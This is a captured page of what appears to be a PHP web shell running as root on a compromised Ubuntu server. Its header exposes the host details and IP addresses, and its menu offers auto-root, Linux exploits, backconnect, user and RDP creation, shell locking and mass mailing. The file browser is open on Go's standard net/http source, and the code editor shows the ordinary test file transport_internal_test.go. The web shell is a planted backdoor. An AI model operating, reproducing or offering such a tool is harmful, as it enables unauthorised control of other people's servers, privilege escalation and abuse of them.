Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
src /
net /
http /
[ HOME SHELL ]
Name
Size
Permission
Action
cgi
[ DIR ]
drwxr-xr-x
cookiejar
[ DIR ]
drwxr-xr-x
fcgi
[ DIR ]
drwxr-xr-x
httptest
[ DIR ]
drwxr-xr-x
httptrace
[ DIR ]
drwxr-xr-x
httputil
[ DIR ]
drwxr-xr-x
internal
[ DIR ]
drwxr-xr-x
pprof
[ DIR ]
drwxr-xr-x
testdata
[ DIR ]
drwxr-xr-x
alpn_test.go
3.03
KB
-rw-r--r--
client.go
31.47
KB
-rw-r--r--
client_test.go
55.36
KB
-rw-r--r--
clientserver_test.go
42.36
KB
-rw-r--r--
clone.go
1.56
KB
-rw-r--r--
cookie.go
10.76
KB
-rw-r--r--
cookie_test.go
17.74
KB
-rw-r--r--
doc.go
3.44
KB
-rw-r--r--
example_filesystem_test.go
2.03
KB
-rw-r--r--
example_handle_test.go
560
B
-rw-r--r--
example_test.go
5.28
KB
-rw-r--r--
export_test.go
7.43
KB
-rw-r--r--
filetransport.go
2.9
KB
-rw-r--r--
filetransport_test.go
1.61
KB
-rw-r--r--
fs.go
23.36
KB
-rw-r--r--
fs_test.go
35.21
KB
-rw-r--r--
h2_bundle.go
320.65
KB
-rw-r--r--
header.go
7.36
KB
-rw-r--r--
header_test.go
5.58
KB
-rw-r--r--
http.go
4.95
KB
-rw-r--r--
http_test.go
4.43
KB
-rw-r--r--
jar.go
900
B
-rw-r--r--
main_test.go
4.41
KB
-rw-r--r--
method.go
517
B
-rw-r--r--
omithttp2.go
1.85
KB
-rw-r--r--
proxy_test.go
1.13
KB
-rw-r--r--
range_test.go
2.38
KB
-rw-r--r--
readrequest_test.go
9.71
KB
-rw-r--r--
request.go
44.68
KB
-rw-r--r--
request_test.go
31.96
KB
-rw-r--r--
requestwrite_test.go
22.79
KB
-rw-r--r--
response.go
10.76
KB
-rw-r--r--
response_test.go
24.05
KB
-rw-r--r--
responsewrite_test.go
6.94
KB
-rw-r--r--
roundtrip.go
563
B
-rw-r--r--
roundtrip_js.go
9.11
KB
-rw-r--r--
serve_test.go
171.18
KB
-rw-r--r--
server.go
105.67
KB
-rw-r--r--
server_test.go
1.19
KB
-rw-r--r--
sniff.go
8
KB
-rw-r--r--
sniff_test.go
8.09
KB
-rw-r--r--
socks_bundle.go
12.93
KB
-rw-r--r--
status.go
7.26
KB
-rw-r--r--
transfer.go
30.3
KB
-rw-r--r--
transfer_test.go
7.31
KB
-rw-r--r--
transport.go
81.6
KB
-rw-r--r--
transport_internal_test.go
5.91
KB
-rw-r--r--
transport_test.go
159.07
KB
-rw-r--r--
triv.go
3.2
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : transport_internal_test.go
// Copyright 2016 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // White-box tests for transport.go (in package http instead of http_test). package http import ( "bytes" "crypto/tls" "errors" "io" "io/ioutil" "net" "net/http/internal" "strings" "testing" ) // Issue 15446: incorrect wrapping of errors when server closes an idle connection. func TestTransportPersistConnReadLoopEOF(t *testing.T) { ln := newLocalListener(t) defer ln.Close() connc := make(chan net.Conn, 1) go func() { defer close(connc) c, err := ln.Accept() if err != nil { t.Error(err) return } connc <- c }() tr := new(Transport) req, _ := NewRequest("GET", "http://"+ln.Addr().String(), nil) req = req.WithT(t) treq := &transportRequest{Request: req} cm := connectMethod{targetScheme: "http", targetAddr: ln.Addr().String()} pc, err := tr.getConn(treq, cm) if err != nil { t.Fatal(err) } defer pc.close(errors.New("test over")) conn := <-connc if conn == nil { // Already called t.Error in the accept goroutine. return } conn.Close() // simulate the server hanging up on the client _, err = pc.roundTrip(treq) if !isTransportReadFromServerError(err) && err != errServerClosedIdle { t.Errorf("roundTrip = %#v, %v; want errServerClosedIdle or transportReadFromServerError", err, err) } <-pc.closech err = pc.closed if !isTransportReadFromServerError(err) && err != errServerClosedIdle { t.Errorf("pc.closed = %#v, %v; want errServerClosedIdle or transportReadFromServerError", err, err) } } func isTransportReadFromServerError(err error) bool { _, ok := err.(transportReadFromServerError) return ok } func newLocalListener(t *testing.T) net.Listener { ln, err := net.Listen("tcp", "127.0.0.1:0") if err != nil { ln, err = net.Listen("tcp6", "[::1]:0") } if err != nil { t.Fatal(err) } return ln } func dummyRequest(method string) *Request { req, err := NewRequest(method, "http://fake.tld/", nil) if err != nil { panic(err) } return req } func dummyRequestWithBody(method string) *Request { req, err := NewRequest(method, "http://fake.tld/", strings.NewReader("foo")) if err != nil { panic(err) } return req } func dummyRequestWithBodyNoGetBody(method string) *Request { req := dummyRequestWithBody(method) req.GetBody = nil return req } // issue22091Error acts like a golang.org/x/net/http2.ErrNoCachedConn. type issue22091Error struct{} func (issue22091Error) IsHTTP2NoCachedConnError() {} func (issue22091Error) Error() string { return "issue22091Error" } func TestTransportShouldRetryRequest(t *testing.T) { tests := []struct { pc *persistConn req *Request err error want bool }{ 0: { pc: &persistConn{reused: false}, req: dummyRequest("POST"), err: nothingWrittenError{}, want: false, }, 1: { pc: &persistConn{reused: true}, req: dummyRequest("POST"), err: nothingWrittenError{}, want: true, }, 2: { pc: &persistConn{reused: true}, req: dummyRequest("POST"), err: http2ErrNoCachedConn, want: true, }, 3: { pc: nil, req: nil, err: issue22091Error{}, // like an external http2ErrNoCachedConn want: true, }, 4: { pc: &persistConn{reused: true}, req: dummyRequest("POST"), err: errMissingHost, want: false, }, 5: { pc: &persistConn{reused: true}, req: dummyRequest("POST"), err: transportReadFromServerError{}, want: false, }, 6: { pc: &persistConn{reused: true}, req: dummyRequest("GET"), err: transportReadFromServerError{}, want: true, }, 7: { pc: &persistConn{reused: true}, req: dummyRequest("GET"), err: errServerClosedIdle, want: true, }, 8: { pc: &persistConn{reused: true}, req: dummyRequestWithBody("POST"), err: nothingWrittenError{}, want: true, }, 9: { pc: &persistConn{reused: true}, req: dummyRequestWithBodyNoGetBody("POST"), err: nothingWrittenError{}, want: false, }, } for i, tt := range tests { got := tt.pc.shouldRetryRequest(tt.req, tt.err) if got != tt.want { t.Errorf("%d. shouldRetryRequest = %v; want %v", i, got, tt.want) } } } type roundTripFunc func(r *Request) (*Response, error) func (f roundTripFunc) RoundTrip(r *Request) (*Response, error) { return f(r) } // Issue 25009 func TestTransportBodyAltRewind(t *testing.T) { cert, err := tls.X509KeyPair(internal.LocalhostCert, internal.LocalhostKey) if err != nil { t.Fatal(err) } ln := newLocalListener(t) defer ln.Close() go func() { tln := tls.NewListener(ln, &tls.Config{ NextProtos: []string{"foo"}, Certificates: []tls.Certificate{cert}, }) for i := 0; i < 2; i++ { sc, err := tln.Accept() if err != nil { t.Error(err) return } if err := sc.(*tls.Conn).Handshake(); err != nil { t.Error(err) return } sc.Close() } }() addr := ln.Addr().String() req, _ := NewRequest("POST", "https://example.org/", bytes.NewBufferString("request")) roundTripped := false tr := &Transport{ DisableKeepAlives: true, TLSNextProto: map[string]func(string, *tls.Conn) RoundTripper{ "foo": func(authority string, c *tls.Conn) RoundTripper { return roundTripFunc(func(r *Request) (*Response, error) { n, _ := io.Copy(ioutil.Discard, r.Body) if n == 0 { t.Error("body length is zero") } if roundTripped { return &Response{ Body: NoBody, StatusCode: 200, }, nil } roundTripped = true return nil, http2noCachedConnError{} }) }, }, DialTLS: func(_, _ string) (net.Conn, error) { tc, err := tls.Dial("tcp", addr, &tls.Config{ InsecureSkipVerify: true, NextProtos: []string{"foo"}, }) if err != nil { return nil, err } if err := tc.Handshake(); err != nil { return nil, err } return tc, nil }, } c := &Client{Transport: tr} _, err = c.Do(req) if err != nil { t.Error(err) } }
Close